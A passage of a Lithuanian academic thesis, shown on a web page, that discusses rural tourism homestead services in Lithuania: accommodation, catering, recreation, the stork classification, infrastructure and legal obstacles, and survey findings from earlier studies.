3) pagalbinės (specialiosios aktyvaus ir pasyvaus laisvalaikio ir poilsio organizavimo
paslaugos) – siūlomos kaimo turizmo sodybos šeimininkų naudojant jų specialųjį inventorių, ir
individualaus pasirinkimo užsiėmimai, kuriems gali įtakos turėti regione vykstantys renginiai,
atvykimo priežastis, hobis, susidomėjimas kultūrine regiono sankloda.
Pagrindinės kaimo turizmo siūlomos paslaugos yra:
 apgyvendinimas;
 maitinimas;
 aktyvios pramogos (krepšinis, tenisas, šaudymas, slidinėjimas, žygių rengimas,
baidarių nuoma ir t.t.).
Apgyvendinimo paslaugų pasiūla kaimo turizmu užsiimančiose sodybose yra gana
įvairiapusė. Tai individualūs gyvenamieji namai, ūkininkų sodybos ar jų dalys, vasarnamiai, sodo,
žvejų, medžiotojų nameliai ar tiesiog atskiri kambariai šiose patalpose (Astromskienė, Sirusienė,
2005). Pasak Sirusienės (2008), „apgyvendinimas – viena svarbiausių turizmo paslaugų sistemos
sudėtinių dalių. Apgyvendinimo paslauga – būtinos apgyvendinti sąlygos ir veikla, kuria tenkinami
turisto nakvynės, higienos, maitinimo ir poilsio poreikiai. Apgyvendinimo paslaugą reikėtų traktuoti
kaip kompleksinę“.
Kaimo turizmo apgyvendinimo įstaigoms apibūdinti Lietuvoje naudojamas simbolinis
žymėjimas – „gandras“: nuo 1 (žemiausia klasė) iki 5 (aukščiausia klasė) „gandrų“. „Gandrus“
suteikia Lietuvos kaimo turizmo asociacija. Kaimo turizmo sodybos yra klasifikuojamos pagal
komfortą bei teikiamų paslaugų kokybę. Žemiau pateikiamas paslaugų lygio žymėjimo pavyzdys.  

                 </p>

                 Pastaruoju metu šis kaimo turizmo sodybų žymėjimas tampa vis svarbesniu kriterijumi
poilsiautojams renkantis poilsio ar pramogų vietą. Kiekvienas iš jų nori gauti kuo geresnes ir
kokybiškesnes paslaugas, o šis žymėjimas padeda susidaryti išankstinę nuomonę apie kaimo
turizmo sodybos teikiamas paslaugas, jų kokybę, kiekybę ir pačios sodybos įvaizdį.
Kalbant apie kitą paslaugų grupę, reikia paminėti, jog kaimo turizmo versle svečių maitinimas
ir maisto kokybė yra neatsiejama kaimo turizmo paslaugų paketo dalis. Maitinimo paslauga gali
būti teikiama (Vainienė, 2001):
1) toje pačioje sodyboje, derinant su kitomis apgyvendinimo paslaugomis;
2) maitinimo įmonėje, esančioje: kitoje sodyboje, netoliese esančioje kavinėje,
valgykloje, bare ir kt.;
3) derinant abu variantus – pusryčius gali valgyti gyvenamoje sodyboje, o pietus – kitoje
maitinimo įmonėje.
Kitas kaimo turizmo paslaugų porūšis – aktyvios (rekreacinės) paslaugos. I. Vainienė (2001)
kaimo turizmo sodybose teikiamas aktyvias (rekreacines) paslaugas siūlo grupuoti pagal vietą:
 rekreacinę veiklą sodybos pastatuose;
 lauko rekreacinę veiklą kieme;
 rekreacinę veiklą kaimo apylinkėse.
Pasak mokslininkės, dauguma rekreacinių paslaugų patalpose nereikalauja ypatingo
organizavimo. Šias paslaugas būtų galima pasiūlyti vartotojams ne sezono metu. Tačiau sodybų
savininkai turėtų pasirūpinti įrengimais ar priemonėmis, būtinais tinkamam veiklos įgyvendinimui
(Vainienė, 2001). Kaimo turizmo sodybų teikiamas rekreacines paslaugas sodybos pastatuose
galima suskirstyti į kelias pagrindines rūšis: poilsį ir sveikatingumą, intelektualią ir socialinę
rekreaciją, sportą ir pramogas. Pagal kiekvieną iš šių paslaugų rūšių gali būti išskiriamos kelios
pagrindinės paslaugos, kurios dažniausiai teikiamos ar gali būti suteiktos kaimo turizmo sodyboje.
Tačiau sodybos savininkui būtina pasirūpinti ir inventoriumi, reikalingu šių paslaugų suteikimui.
Ne mažiau svarbus ir tinkamas kaimo turizmo rekreacinės veiklos organizavimas lauko
sąlygomis sodybos kieme. Kadangi didžiausi turistų srautai sodybose lankosi šiltuoju metų laiku,
todėl sodybų šeimininkai turėtų atsižvelgti tiek į gamtines sąlygas, tiek ir sezonines kalendorines
šventes bei krašto savitumą. Populiariausios tarp šios rūšies paslaugų išlieka sportinės, poilsio ir
sveikatingumo bei pramoginės paslaugos, kadangi jos daugiausiai susiję su tinkamomis lauko
sąlygomis ir yra populiariausios turistų tarpe. Pastebima, jog organizuojant rekreacines paslaugas
sodybos kieme, nėra reikalingas didelis infrastruktūros ar kitų priemonių poreikis, kadangi yra
išnaudojami kraštovaizdžio elementai (išskyrus sportines paslaugas).
Rekreacinius užsiėmimus kaimo turizmo sodybos savininkai gali organizuoti ir gretimoje
kaimo aplinkoje. Šių paslaugų organizavimo ypatumai tokie, jog sodybos savininkams nereikalingi 
22
ypatingai dideli priemonių ar infrastruktūros reikalavimai, kadangi yra išnaudojama kitų sukurta ir
seniau egzistuojanti viešoji infrastruktūra. Rekreacinių paslaugų rūšių sąrašą be visų kitų rūšių
sudaro dar dvi papildomos paslaugų rūšys: hobis ir kelionės. Šios dvi rūšys atsiranda atsižvelgiant į
pasikeitusias paslaugų organizavimo sąlygas: aplinką, gamtą, vartotojų poreikius. Kadangi paslaugų
organizavimui atsiranda didesnė erdvė, todėl dauguma paslaugų gali būti organizuojamos ne
sodybos teritorijoje. Žinoma, tokios paslaugos yra brangesnės ir priimtinos tik mažai vartotojų
grupei, tačiau sodybos užsitikrina vartotojų lojalumą ir didesnes pajamas.
Kaimo turizmo paslaugų įvairovę lemiantys veiksniai. Pasak C. Gronroos (1990), „kaimo
turizmo paslaugų paklausa labiausiai priklauso nuo vietovės rekreacinių išteklių“. Gamtiniai ir
rekreaciniai ištekliai yra Lietuvos kaimo turizmo veiklos pagrindas. Lietuvoje yra palankios
rekreacinės sąlygos plėtoti kaimo turizmo verslą. Rekreacinis potencialas kaimo turizmui tikrai yra
didelis: Lietuvos Respublikos aplinkos ministerijos duomenimis, 2012 m. miškai užėmė apie 33,3
proc. šalies teritorijos, taip pat čia teka ir tyvuliuoja apie 3 tūkst. upių ir ežerų. Lietuvos kultūros
paveldo registre užragistruota daugiau kaip 25 tūkst. kultūros paveldo objektų, iš jų daugiau kaip
7,5 tūkst. – valstybės saugomi objektai. Kaimo turizmo požiūriu Lietuva gana įvairialypis kraštas su
savita ir skirtinga etnografija ir architektūra. Kiekvienas etninis Lietuvos regionas turi savų
ypatumų. Kaimo turizmo sodybos ir paslaugos juose tuo patrauklesnės, kuo labiau susietos su
regioniniais savitumais (Astromskienė, Sirusienė, 2005). Pasak Vainienės (2001), „kaimas vilioja
ne tik tyla ir ramybe, bet ir senosios civilizacijos liekanomis – architektūros ir istorijos paminklais:
pilkapiais, alkakalniais, piliakalniais, pilimis, dvarais, religinio kulto pastatais. Kultūriniai aplinkos
objektai, esantys kaimo vietovėse, skatina kaimo turizmą, didina paslaugų skaičių“.
Tačiau tiek gamtiniai, tiek ir istoriniai paminklai yra ekstensyviai panaudojami vykdant ir
plėtojant kaimo turizmo veiklą. Dažniausia to priežastis – nepalankus valstybinių ir vietinių
valdžios institucijų požiūris į verslo siekius pritraukti didesnius turistų srautus į regionus, per
menkai išvystyta viešoji infrastruktūra. Neišvystyta kaimo infrastruktūra yra rimta kliūtis siekiant
užtikrinti kaimo turizmo plėtrą, tuo pačiu ir gyventojų gyvenimo kokybę. Dideli skirtumai tarp
miesto ir kaimo transporto, verslo, energijos, telekomunikacijų ir kitose srityse kelia grėsmę
sėkmingam verslo vystymui bei plėtrai.
Nepakankama yra ir kaimo infrastruktūros būklė. Reikalingas gyvenamosios aplinkos
sutvarkymas: kaimo rekreacinių vietų, poilsio zonų, sporto aikštelių įrengimas, pastatų liekanų
šalinimas. Kaimo bendruomenės taip pat stokoja visuomeniniams poreikiams tinkamos kultūros
infrastruktūros: vietovėse esančių kultūros centrų, muziejų, bibliotekų infrastruktūra yra labai
prastos būklės, o neretai – ir nepakankama bendruomeninei integracijai užtikrinti. Tačiau pastebima
gerėjimo tendencija, kadangi bendruomenės pradeda sėkmingai įsisavinti Europos Sąjungos
skiriamą paramą infrastruktūros sutvarkymui.
23
Kaimo turizmas taip pat labai pažeidžiamas įvairių politinių jėgų, valstybės ir vyriausybės
politikos. Labai svarbūs ir teisės aktai reguliuojantys šį verslą (Armaitienė, Grecevičius ir kt.,
1999). Kaimo turizmo paslaugų verslą reguliuoja keletas tarpusavyje susijusių įstatymų: Lietuvos
Respublikos Civilinis kodeksas, Turizmo, Žemės, Ūkininko ūkio, Miškų, Aplinkos apsaugos,
Saugomų teritorijų ir kiti įstatymai. Remiantis išvardintais teisės aktais, priklausomai nuo kaimo
turizmo paslaugų teikimo vietos, žemės savininkams gali būti nustatomi tam tikri jų nuosavybės
teisių ribojimai. Gali būti nustatytos specialios žemės miško ir vandens telkinių naudojimo sąlygos,
taip pat, apsaugos zonos, kuriose draudžiama tam tikra ūkinė veikla.
Teisinė kaimo turizmo verslo aplinkos analizė parodė, kad šiuo metu egzistuojantys teisiniai
dokumentai apsunkina kaimo turizmo paslaugų registravimo, teikimo bei plėtros sąlygas dėl
tarpusavio nesuderinamumo. Teisinių dokumentų bazėje kaimo turizmas neturi išskirtinės vietos,
kuri sudarytų palankias sąlygas kaimo socialinei – ekonominei plėtrai. Todėl būtina supaprastinti
kaimo turizmo paslaugų reglamentavimo tvarką, tokiu būdu didinant paslaugų kokybę ir užtikrinant
konkurencingumą. Vis dėl to, kaimo turizmo sodybų savininkai atkreipia didelį dėmesį ir į vis dar
egzistuojančią biurokratiją valstybinėse įstaigose, kas apsunkina jiems verslo pradžią.
Lietuvoje pastaraisiais metais buvo atlikta nemažai kaimo turizmo sodybų paslaugų įvairovės
tyrimų. Pagrindiniai mokslininkai, nagrinėję šią temą, yra: Žalienė, Žalys (2002), Astromskienė,
Sirusienė (2005), Armaitienė, Povilanskas, Jones (2006), Ramanauskienė, Gargasas (2007),
Ramanauskienė, Trijonytė (2008).
Pastarosios autorės tyrimo metu nustatė, jog kaimo turizmo sodybų savininkai vertina šiuos
privalumus: ramią ir gražią aplinką bei galimybę pabūti gamtoje. Iš šio tyrimo apklausoje
dalyvavusiųjų, 18 proc. nurodė, jog sodybose trūksta paslaugų, o 13 proc. teigė, jog jose nėra visų
patogumų. Tuo tarpu Armaitienė, Povilanskas, Jones (2006) nustatė, jog didėja kaimo turizmo
paslaugų įvairovė ir užsakymų internetu skaičius.
J. Ramanauskienė ir A. Gargaso (2007) atlikti tyrimai parodė, jog „kaimo turizmo sodybų
klientai nori kuo daugiau ir įvairesnių paslaugų“. Prie dažniausiai nurodomų paslaugų, tokių kaip
maudymasis pirtyje, vandens sporto paslaugas, pokylių salės nuoma, klientai pageidauja daugiau
organizuojamų žygių, ekskursijų po apylinkes, kaimo darbų atlikimo, šokių vakarų, masažo
kabineto.
Kiek anksčiau atlikto I. Žalienės ir L. Žalio (2002) tyrimo rezultatai parodė, jog Dzūkijos
regione poilsį kaimo turizmo sodybose klientai pirmiausiai renkasi dėl noro pabūti gamtoje, ramioje
aplinkoje (63 proc.). Beveik keturis kartus mažiau respondentų (18 proc.) nurodė, jog juos
paskatino susidomėjimas nauja poilsio rūšimi, tik 10 proc. nurodė, jog pasirinkimą lėmė teikiamų
paslaugų įvairovė. Tyrimo metu buvo nustatyta, jog poilsiautojams svarbiausi sodybos pasirinkimo 
24
kriterijai yra kraštovaizdis, po to – teikiamų paslaugų kokybė ir tik trečioje vietoje – teikiamų
paslaugų įvairovė.
Tuo tarpu Armaitienės ir Raišutienės (2007) atlikto tyrimo Klaipėdos regione metu buvo
nustatyta, jog pagrindiniai sodybų pasirinkimo motyvai – noras pailsėti nuo triukšmo, atšvęsti
šventes ar pažintiniai tikslai. Buvo nustatyta, jog daugumoje sodybų teikiamos tos pačios paslaugos:
apgyvendinimas, maitinimas, sporto mechanizmų nuoma ir kt. tačiau tyrimo rezultatai parodė, jog
net 50 proc. sodybų savininkų diegdami naujas paslaugų rūšis remiasi savo nuostatomis, ir tik 33
proc. – klientų pageidavimu.
Kaimo turizmo stiprybė – tautos materialinio ir dvasinio paveldo panaudojimas, jo kūrybingas
pritaikymas modernios visuomenės aplinkoje. Tokia linkme kaimo turizmo plėtrą orientavo ir
valstybės turizmo plėtros politika. Augantis kaimo turizmo sodybų skaičius ir jose teikiamų
paslaugų paklausa rodo klientų skaičiaus ir konkurencijos augimą. Galima sakyti, kad tolesnė kaimo
turizmo verslo sėkmė daugiau priklausys ne nuo to, kiek investuota į sodybos įrangą, bet kaip
paslaugos tiekėjai sugebės atspėti besikeičiančius vartotojų poreikius, pasiūlyti kokybiškas ir naujas
paslaugas.
Kaimo turizmo paslaugos konkuruoja su daugeliu kitų turizmo produktų: poilsiu prie jūros,
poilsiu prie ežerų apsistojant kempinguose, poilsio namuose ir pan. Vieną ar kitą šių turistinių
produktų pasirinkimą gali nulemti vartotojams siūlomas paslaugų kokybės santykis, paslaugų
įvairumas. Ypač svarbu, kad kaimo turizmo produktas būtų orientuotas į įvairių vartotojų segmentų
poreikius ir galimybes, pasiūlant visapusišką paslaugų spektrą. Nors siūlomų paslaugų įvairovė
kaimo turizmo sodybose ir didėja, tačiau apibendrinus kaimo turizmo sodybų tyrimus, ji nėra
pakankama. Kaimo turizmo sodybose siūlomų paslaugų pasirinkimas nėra didelis ir jis nėra
patrauklus vartotojams.
Apibendrinus galima teigti, jog kaimo turizmo paslaugų įvairovė daugiausiai priklauso nuo
vis labiau didėjančių poilsiautojų poreikių ir lėšų kiekio, siekiant įdiegti naujas paslaugas. Žinoma,
norint įdiegti naujas paslaugas susiduriama ir su kitais trukdžiais: informacijos, rekreacinių išteklių,
teisinio reglamentavimo sunkumais. Tačiau visi šie trukdžiai negali sustabdyti kaimo turizmo
sodybos tikslo teikti kokybiškas ir geras turizmo paslaugas. Dėl to ypatingai svarbu optimaliai
laikytis visų veiklos, tame tarpe ir paslaugų kokybės, reikalavimų.  

</p>
				</div>
			</div>



			<!-- CONTENT END -->

			
		</div>
	</div>


	<footer>
		<div class="container">
			<div class="copy">
				<div><a href="#">Политика Конфеденциальности</a> <a href="#">Условия пользования</a></div>
				<span>© 2019 Copyright. All rights reserved.</span>
			</div>
		</div>
	</footer>

	<script src="assets/scripts.min.js"></script>
</body>

</html>
